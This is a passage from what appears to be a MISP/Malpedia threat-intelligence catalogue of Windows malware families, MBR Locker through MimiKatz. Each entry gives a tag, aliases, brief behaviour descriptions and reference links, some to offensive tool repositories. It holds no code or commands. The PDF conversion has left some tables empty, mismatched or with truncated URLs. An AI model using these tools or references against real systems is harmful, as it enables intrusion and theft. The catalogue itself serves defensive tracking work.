<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mbrlock">https://malpedia.caad.fkie.fraunhofer.de/details/win.mbrlock</a></td>
</tr>
</tbody>
</table>
MBR Locker

Ransomware overwriting the system’s MBR, making it impossible to boot into Windows.

The tag is: \textit{misp-galaxy:malpedia="MBR Locker"}

MBR Locker is also known as:

Table 3524. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mbrlocker">https://malpedia.caad.fkie.fraunhofer.de/details/win.mbrlocker</a></td>
</tr>
</tbody>
</table>

Mebromi

The tag is: \textit{misp-galaxy:malpedia="Mebromi"}

Mebromi is also known as:

- MyBios

Table 3525. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mebromi">https://malpedia.caad.fkie.fraunhofer.de/details/win.mebromi</a></td>
</tr>
<tr>
<td><a href="http://www.theregister.co.uk/2011/09/14/bios_rootkit_discovered/">http://www.theregister.co.uk/2011/09/14/bios_rootkit_discovered/</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.com/connect/blogs/bios-threat-showing-again">https://www.symantec.com/connect/blogs/bios-threat-showing-again</a></td>
</tr>
</tbody>
</table>

MECHANICAL

The tag is: \textit{misp-galaxy:malpedia="MECHANICAL"}

MECHANICAL is also known as:

- GoldStamp
Medre

The tag is: `misp-galaxy:malpedia="Medre"`

Medre is also known as:

<table>
<thead>
<tr>
<th>Table 3527. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.medre">https://malpedia.caad.fkie.fraunhofer.de/details/win.medre</a></td>
</tr>
<tr>
<td><a href="http://contagiodump.blogspot.com/2012/06/medrea-autocad-worm-samples.html">http://contagiodump.blogspot.com/2012/06/medrea-autocad-worm-samples.html</a></td>
</tr>
</tbody>
</table>

Medusa (Windows)

Medusa is a DDoS bot written in .NET 2.0. In its current incarnation its C&C protocol is based on HTTP, while its predecessor made use of IRC.

The tag is: `misp-galaxy:malpedia="Medusa (Windows)"`

Medusa (Windows) is also known as:

<table>
<thead>
<tr>
<th>Table 3528. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.medusa">https://malpedia.caad.fkie.fraunhofer.de/details/win.medusa</a></td>
</tr>
<tr>
<td><a href="https://www.arbornetworks.com/blog/asert/medusahttp-ddos-slithers-back-spotlight/">https://www.arbornetworks.com/blog/asert/medusahttp-ddos-slithers-back-spotlight/</a></td>
</tr>
<tr>
<td><a href="https://news.drweb.com/show/?i=10302&amp;lng=en">https://news.drweb.com/show/?i=10302&amp;lng=en</a></td>
</tr>
</tbody>
</table>

MedusaLocker

A Windows ransomware that will run certain tasks to prepare the target system for the encryption of files. MedusaLocker avoids executable files, probably to avoid rendering the targeted system unusable for paying the ransom. It uses a combination of AES and RSA-2048, and reportedly appends extensions such as .encrypted, .bomber, .boroff, .breakingbad, .locker16, .newlock,
The tag is: `misp-galaxy:malpedia="MedusaLocker"`

MedusaLocker is also known as:

- AKO Doxware
- AKO Ransomware
- MedusaReborn

### Table 3529. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.medusalocker">https://malpedia.caad.fkie.fraunhofer.de/details/win.medusalocker</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2020/01/ako-ransomware.html">https://id-ransomware.blogspot.com/2020/01/ako-ransomware.html</a></td>
</tr>
<tr>
<td>[<a href="https://twitter.com/siri">https://twitter.com/siri</a>_ urz/status/1215194488714346496?s=20](<a href="https://twitter.com/siri">https://twitter.com/siri</a>_ urz/status/1215194488714346496?s=20)</td>
</tr>
<tr>
<td><a href="https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3">https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/chasing-avaddon-ransomware">https://www.mandiant.com/resources/chasing-avaddon-ransomware</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-181a">https://www.cisa.gov/uscert/ncas/alerts/aa22-181a</a></td>
</tr>
</tbody>
</table>
Meduza Stealer

The tag is: misp-galaxy:malpedia="Meduza Stealer"

Meduza Stealer is also known as:

Table 3530. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.meduza">https://malpedia.caad.fkie.fraunhofer.de/details/win.meduza</a></td>
</tr>
<tr>
<td><a href="https://russianpanda.com/2023/06/28/Meduza-Stealer-or-The-Return-of-The-Infamous-Aurora-Stealer/">https://russianpanda.com/2023/06/28/Meduza-Stealer-or-The-Return-of-The-Infamous-Aurora-Stealer/</a></td>
</tr>
<tr>
<td><a href="https://www.zerofox.com/blog/the-underground-economist-volume-3-issue-12/">https://www.zerofox.com/blog/the-underground-economist-volume-3-issue-12/</a></td>
</tr>
</tbody>
</table>

MegaCortex

Megacortex is a ransomware used in targeted attacks against corporations. Once the ransomware is run it tries to stop security related services and after that it starts its own encryption process adding a .aes128ctr or .megac0rtx extension to the encrypted files. It is used to be carried from downloaders and trojans, it has no own propagation capabilities.

The tag is: misp-galaxy:malpedia="MegaCortex"

MegaCortex is also known as:

Table 3531. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.megacortex">https://malpedia.caad.fkie.fraunhofer.de/details/win.megacortex</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot">https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot</a></td>
</tr>
</tbody>
</table>
MegaCreep

The tag is: misp-galaxy:malpedia="MegaCreep"

MegaCreep is also known as:

Table 3532. Table References
**MeguminTrojan**

Megumin Trojan, is a malware focused on multiple fields (DDoS, Miner, Loader, Clipper).

The tag is: `misp-galaxy:malpedia="MeguminTrojan"`

MeguminTrojan is also known as:

*Table 3533. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.megumin">https://malpedia.caad.fkie.fraunhofer.de/details/win.megumin</a></td>
</tr>
<tr>
<td><a href="https://fumik0.com/2019/05/03/lets-nuke-megumin-trojan/">https://fumik0.com/2019/05/03/lets-nuke-megumin-trojan/</a></td>
</tr>
</tbody>
</table>

**Mekotio**

The tag is: `misp-galaxy:malpedia="Mekotio"`

Mekotio is also known as:

*Table 3534. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mekotio">https://malpedia.caad.fkie.fraunhofer.de/details/win.mekotio</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2020/08/13/meKotio-these-arent-the-security-updates-youre-looking-for/">https://www.welivesecurity.com/2020/08/13/meKotio-these-arent-the-security-updates-youre-looking-for/</a></td>
</tr>
<tr>
<td><a href="http://www.interior.gob.es/prensa/noticias/~asset_publisher/GHU8Ap6ztgsg/content/id/13552853">http://www.interior.gob.es/prensa/noticias/~asset_publisher/GHU8Ap6ztgsg/content/id/13552853</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/hpsecurity/status/1509185858146082816">https://twitter.com/hpsecurity/status/1509185858146082816</a></td>
</tr>
</tbody>
</table>
Melcoz

The tag is: misp-galaxy:malpedia="Melcoz"

Melcoz is also known as:

<table>
<thead>
<tr>
<th>Table 3535. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.melcoz">https://malpedia.caad.fkie.fraunhofer.de/details/win.melcoz</a></td>
</tr>
</tbody>
</table>

Meow

According to PCrisk, MEOW is ransomware based on other ransomware called CONTI. MEOW encrypts files and appends the ".MEOW" extension to their filenames. It also drops the "readme.txt" file (a ransom note). An example of how MEOW ransomware modifies filenames: it renames "1.jpg" to "1.jpg.MEOW", "2.png" to "2.png.MEOW", and so forth.

The tag is: misp-galaxy:malpedia="Meow"

Meow is also known as:

<table>
<thead>
<tr>
<th>Table 3536. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.meow">https://malpedia.caad.fkie.fraunhofer.de/details/win.meow</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2022/09/meow-ransomware.html">https://id-ransomware.blogspot.com/2022/09/meow-ransomware.html</a></td>
</tr>
</tbody>
</table>

MercurialGrabber

The tag is: misp-galaxy:malpedia="MercurialGrabber"

MercurialGrabber is also known as:

<table>
<thead>
<tr>
<th>Table 3537. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mercurialgrabber">https://malpedia.caad.fkie.fraunhofer.de/details/win.mercurialgrabber</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Arkbird_SOLG/status/1432127748001128459">https://twitter.com/Arkbird_SOLG/status/1432127748001128459</a></td>
</tr>
<tr>
<td><a href="https://github.com/NightfallGT/Mercurial-Grabber">https://github.com/NightfallGT/Mercurial-Grabber</a></td>
</tr>
</tbody>
</table>
**Merdoor**

The tag is: *misp-galaxy:malpedia="Merdoor"*

Merdoor is also known as:

*Table 3538. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.merdoor">https://malpedia.caad.fkie.fraunhofer.de/details/win.merdoor</a></td>
</tr>
</tbody>
</table>

**Merlin**

Merlin is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang.

The tag is: *misp-galaxy:malpedia="Merlin"*

Merlin is also known as:

*Table 3539. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.merlin">https://malpedia.caad.fkie.fraunhofer.de/details/win.merlin</a></td>
</tr>
<tr>
<td><a href="https://github.com/Ne0nd0g/merlin">https://github.com/Ne0nd0g/merlin</a></td>
</tr>
<tr>
<td><a href="https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f">https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f</a></td>
</tr>
<tr>
<td><a href="http://lockboxx.blogspot.com/2018/02/merlin-for-red-teams.html">http://lockboxx.blogspot.com/2018/02/merlin-for-red-teams.html</a></td>
</tr>
</tbody>
</table>

**Mespinoza**

Mespinoza is a ransomware which encrypts file using an asymmetric encryption and adds .pys as file extension. According to dissectingmalware the extension "pysa" is probably derived from the Zanzibari Coin with the same name.

The tag is: *misp-galaxy:malpedia="Mespinoza"*

Mespinoza is also known as:

- pysa

*Table 3540. Table References*
**MetadataBin**

Ransomware.

The tag is: *misp-galaxy:malpedia="MetadataBin"*

MetadataBin is also known as:

- Ransomware32

*Table 3541. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.metadatabin">https://malpedia.caad.fkie.fraunhofer.de/details/win.metadatabin</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2020/10/metadata-bin-ransomware.html">https://id-ransomware.blogspot.com/2020/10/metadata-bin-ransomware.html</a></td>
</tr>
</tbody>
</table>

**METALJACK**

The tag is: *misp-galaxy:malpedia="METALJACK"*

METALJACK is also known as:

- denesRAT

*Table 3542. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.metaljack">https://malpedia.caad.fkie.fraunhofer.de/details/win.metaljack</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=ftjDH65kw6E">https://www.youtube.com/watch?v=ftjDH65kw6E</a></td>
</tr>
<tr>
<td><a href="https://s.tencent.com/research/report/944.html">https://s.tencent.com/research/report/944.html</a></td>
</tr>
</tbody>
</table>
Metamorfo

According to BitDefender, Metamorfo is a family of banker Trojans that has been active since mid-2018. It primarily targets Brazilians and is delivered mostly through Office files rigged with macros in spam attachments. Metamorfo is a potent piece of malware, whose primary capability is theft of banking information and other personal data from the user and exfiltration of it to the C2 server.

The tag is: `misp-galaxy:malpedia="Metamorfo"

Metamorfo is also known as:

- Casbaneiro

Table 3543. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.metamorfo">https://malpedia.caad.fkie.fraunhofer.de/details/win.metamorfo</a></td>
</tr>
<tr>
<td><a href="https://blog.ensilo.com/metamorfo-avast-abuser">https://blog.ensilo.com/metamorfo-avast-abuser</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/MsftSecIntel/status/1418706916922986504">https://twitter.com/MsftSecIntel/status/1418706916922986504</a></td>
</tr>
<tr>
<td><a href="https://cofense.com/blog/autohotkey-banking-trojan/">https://cofense.com/blog/autohotkey-banking-trojan/</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerou">https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerou</a></td>
</tr>
<tr>
<td><a href="https://github.com/jeFF0Falltrades/IoCs/blob/master/Broadbased/metamorfo.md">https://github.com/jeFF0Falltrades/IoCs/blob/master/Broadbased/metamorfo.md</a></td>
</tr>
</tbody>
</table>
**MetaStealer**

On March 7, 2022, KELA observed a threat actor named META announcing the launch of META – a new information-stealing malware, available for sale for USD125 per month or USD1000 for unlimited use. The actor claimed it has the same functionality, code, and panel as the Redline stealer, but with several improvements.

The tag is: *misp-galaxy:malpedia="MetaStealer"*

MetaStealer is also known as:

**Table 3544. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.metastealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.metastealer</a></td>
</tr>
<tr>
<td><a href="https://medium.com/walmartglobaltech/metastealer-string-decryption-and-dga-overview-5f38f76830cd">https://medium.com/walmartglobaltech/metastealer-string-decryption-and-dga-overview-5f38f76830cd</a></td>
</tr>
<tr>
<td><a href="https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem">https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem</a></td>
</tr>
<tr>
<td><a href="https://ke-la.com/information-stealers-a-new-landscape/">https://ke-la.com/information-stealers-a-new-landscape/</a></td>
</tr>
<tr>
<td><a href="https://research.nccgroup.com/2022/05/20/metastealer-filling-the-raccoon-void/">https://research.nccgroup.com/2022/05/20/metastealer-filling-the-raccoon-void/</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/forums/diary/Windows+MetaStealer+Malware/28522/">https://isc.sans.edu/forums/diary/Windows+MetaStealer+Malware/28522/</a></td>
</tr>
</tbody>
</table>

**Meteor**

A wiper used in an attack against the Iranian train system.

The tag is: *misp-galaxy:malpedia="Meteor"*

Meteor is also known as:

**Table 3545. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.meteor">https://malpedia.caad.fkie.fraunhofer.de/details/win.meteor</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/">https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/cpresearch/status/1541753913732366338">https://twitter.com/cpresearch/status/1541753913732366338</a></td>
</tr>
</tbody>
</table>
## Meterpreter (Windows)

The tag is: misp-galaxy:malpedia="Meterpreter (Windows)"

Meterpreter (Windows) is also known as:

### Table 3546. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/obscureserpens/">https://unit42.paloaltonetworks.com/atoms/obscureserpens/</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar20-268a">https://us-cert.cisa.gov/ncas/analysis-reports/ar20-268a</a></td>
</tr>
<tr>
<td><a href="https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis">https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis</a></td>
</tr>
<tr>
<td><a href="https://asec.ahnlab.com/ko/26705/">https://asec.ahnlab.com/ko/26705/</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/alerts/aa20-301a">https://us-cert.cisa.gov/ncas/alerts/aa20-301a</a></td>
</tr>
<tr>
<td><a href="https://blog.morphisec.com/fin7-attacks-restaurant-industry">https://blog.morphisec.com/fin7-attacks-restaurant-industry</a></td>
</tr>
<tr>
<td><a href="https://mandiant.widen.net/s/pkffwrbljz/m-trends-2023">https://mandiant.widen.net/s/pkffwrbljz/m-trends-2023</a></td>
</tr>
<tr>
<td><a href="https://www.cynet.com/attack-techniques-hands-on/threats-loomong-over-the-horizon/">https://www.cynet.com/attack-techniques-hands-on/threats-loomong-over-the-horizon/</a></td>
</tr>
</tbody>
</table>
Mevade

A botnet that used Tor .onion links for C&C.

The tag is: misp-galaxy:malpedia="Mevade"

Mevade is also known as:

- SBC
- Sefnit

Table 3547. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mevade">https://malpedia.caad.fkie.fraunhofer.de/details/win.mevade</a></td>
</tr>
<tr>
<td><a href="https://blog.fox-it.com/2013/09/05/large-botnet-cause-of-recent-tor">https://blog.fox-it.com/2013/09/05/large-botnet-cause-of-recent-tor</a></td>
</tr>
<tr>
<td><a href="https://www.mcafee.com/blogs/other-blogs/mcafee-labs/sefnit-trojan-">https://www.mcafee.com/blogs/other-blogs/mcafee-labs/sefnit-trojan-</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=FttiysUZmDw">https://www.youtube.com/watch?v=FttiysUZmDw</a></td>
</tr>
</tbody>
</table>
**Mewsei**

The tag is: *misp-galaxy:malpedia="Mewsei"*

Mewsei is also known as:

Table 3548. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**MgBot**

The tag is: *misp-galaxy:malpedia="MgBot"*

MgBot is also known as:

- BLame
- MgmBot

Table 3549. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/GossiTheDog/status/1438500100238577670">https://twitter.com/GossiTheDog/status/1438500100238577670</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=LeKi0KfzOow&amp;list=PLffioUnqXWkdzWcZXH-bzPVgcs2R4r7lS&amp;index=1&amp;t=2154s">https://www.youtube.com/watch?v=LeKi0KfzOow&amp;list=PLffioUnqXWkdzWcZXH-bzPVgcs2R4r7lS&amp;index=1&amp;t=2154s</a></td>
</tr>
</tbody>
</table>

**Miancha**

The tag is: *misp-galaxy:malpedia="Miancha"*

Miancha is also known as:

Table 3550. Table References
Micrass

The tag is: *misp-galaxy:malpedia*="Micrass"

Micrass is also known as:

Table 3551. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.miancha">https://malpedia.caad.fkie.fraunhofer.de/details/win.miancha</a></td>
</tr>
</tbody>
</table>

MicroBackdoor

Open-source lightweight backdoor for C2 communication. GitHub: https://github.com/Cr4sh/MicroBackdoor

The tag is: *misp-galaxy:malpedia*="MicroBackdoor"

MicroBackdoor is also known as:

Table 3552. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.microbackdoor">https://malpedia.caad.fkie.fraunhofer.de/details/win.microbackdoor</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/spear-phish-ukrainian-entities">https://www.mandiant.com/resources/spear-phish-ukrainian-entities</a></td>
</tr>
<tr>
<td><a href="https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview">https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview</a></td>
</tr>
<tr>
<td><a href="https://cert.gov.ua/article/37626">https://cert.gov.ua/article/37626</a></td>
</tr>
<tr>
<td><a href="https://github.com/cr4sh/microbackdoor">https://github.com/cr4sh/microbackdoor</a></td>
</tr>
</tbody>
</table>

1538
**Microcin**

The tag is: `misp-galaxy:malpedia="Microcin"`

Microcin is also known as:

*Table 3553. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.microcin">https://malpedia.caad.fkie.fraunhofer.de/details/win.microcin</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/microcin-is-here/97353">https://securelist.com/microcin-is-here/97353</a></td>
</tr>
<tr>
<td><a href="https://github.com/dlegezo/common">https://github.com/dlegezo/common</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636/">https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636/</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/">https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia/">https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia/</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia/">https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/microcin-is-here/97353/">https://securelist.com/microcin-is-here/97353/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636">https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636</a></td>
</tr>
</tbody>
</table>

**Micropsia**

This malware written in Delphi is an information stealing malware family dubbed "MICROPSIA". It has a wide range of data theft functionality built in.

The tag is: `misp-galaxy:malpedia="Micropsia"`

Micropsia is also known as:

*Table 3554. Table References*
**Midas**

This malware written in C# is a variant of the Thanos ransomware family and emerged in October 2021 and is obfuscated using SmartAssembly. In 2022, ThreatLabz analysed a report of Midas ransomware was slowly deployed over a two month period (ZScaler). This ransomware features also its own data leak site as part of its double extortion strategy.

The tag is: `misp-galaxy:malpedia="Midas"`

Midas is also known as:

**Table 3555. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.midas">https://malpedia.caad.fkie.fraunhofer.de/details/win.midas</a></td>
</tr>
</tbody>
</table>

**Mikoponi**

The tag is: `misp-galaxy:malpedia="Mikoponi"`

Mikoponi is also known as:

**Table 3556. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mikoponi">https://malpedia.caad.fkie.fraunhofer.de/details/win.mikoponi</a></td>
</tr>
</tbody>
</table>

1540
Milan

The tag is: `misp-galaxy:malpedia="Milan"`

Milan is also known as:

Table 3557. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.milan">https://malpedia.caad.fkie.fraunhofer.de/details/win.milan</a></td>
</tr>
<tr>
<td><a href="https://www.prevailion.com/latest-targets-of-cyber-group-lyceum/">https://www.prevailion.com/latest-targets-of-cyber-group-lyceum/</a></td>
</tr>
</tbody>
</table>

MILKMAID

The tag is: `misp-galaxy:malpedia="MILKMAID"`

MILKMAID is also known as:

Table 3558. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.milkmaid">https://malpedia.caad.fkie.fraunhofer.de/details/win.milkmaid</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf">https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf</a></td>
</tr>
</tbody>
</table>

Milum

In August 2019, Kaspersky Labs discovered a malware they dubbed Milum (naming based on internal file name fragments) when investigating an operation they named WildPressure. It is written in C++ using STL, primarily to parse JSON. Functionality includes bidirectional file transmission and remote command execution.

The tag is: `misp-galaxy:malpedia="Milum"`

Milum is also known as:

Table 3559. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.milum">https://malpedia.caad.fkie.fraunhofer.de/details/win.milum</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/wildpressure-targets-macos/103072/">https://securelist.com/wildpressure-targets-macos/103072/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/wildpressure-targets-industrial-in-the-middle-east/96360/">https://securelist.com/wildpressure-targets-industrial-in-the-middle-east/96360/</a></td>
</tr>
</tbody>
</table>
mim221

The tag is: misp-galaxy:malpedia="mim221"

mim221 is also known as:

Table 3560. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mim221">https://malpedia.caad.fkie.fraunhofer.de/details/win.mim221</a></td>
<td></td>
</tr>
</tbody>
</table>

Mimic Ransomware

According to PCrisk, Mimic is a ransomware-type program. Malware within this classification is designed to encrypt data and demand ransoms for decryption. Evidence suggests that Mimic is based on the leaked CONTI ransomware builder. Mimic campaigns have been observed targeting English and Russian speaking users.

The tag is: misp-galaxy:malpedia="Mimic Ransomware"

Mimic Ransomware is also known as:

Table 3561. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mimic">https://malpedia.caad.fkie.fraunhofer.de/details/win.mimic</a></td>
<td></td>
</tr>
</tbody>
</table>

MimiKatz

Varonis summarizes Mimikatz as an open-source application that allows users to view and save authentication credentials like Kerberos tickets. Benjamin Delpy continues to lead Mimikatz developments, so the toolset works with the current release of Windows and includes the most up-to-date attacks.

Attackers commonly use Mimikatz to steal credentials and escalate privileges: in most cases, endpoint protection software and anti-virus systems will detect and delete it. Conversely, pentesters use Mimikatz to detect and exploit vulnerabilities in your networks so you can fix them.

The tag is: misp-galaxy:malpedia="MimiKatz"

MimiKatz is also known as:

Table 3562. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>URL</td>
<td></td>
</tr>
<tr>
<td>-----</td>
<td></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/">https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.slideshare.net/yurikamuraki5/active-directory-240348605">https://www.slideshare.net/yurikamuraki5/active-directory-240348605</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.wired.com/story/chinese-hackers-taiwan-semiconductor-industry-skeleton-key/">https://www.wired.com/story/chinese-hackers-taiwan-semiconductor-industry-skeleton-key/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.intrinsec.com/apt27-analysis/">https://www.intrinsec.com/apt27-analysis/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0096">https://attack.mitre.org/groups/G0096</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.matteomalvica.com/blog/2020/01/30/mimikatz-lsass-dump-windg-pykd/">https://www.matteomalvica.com/blog/2020/01/30/mimikatz-lsass-dump-windg-pykd/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/cobalt-hickman">https://www.secureworks.com/research/threat-profiles/cobalt-hickman</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/trigona-ransomware-update/">https://unit42.paloaltonetworks.com/trigona-ransomware-update/</a></td>
<td></td>
</tr>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/gold-kingswood">http://www.secureworks.com/research/threat-profiles/gold-kingswood</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/">https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/</a></td>
<td></td>
</tr>
<tr>
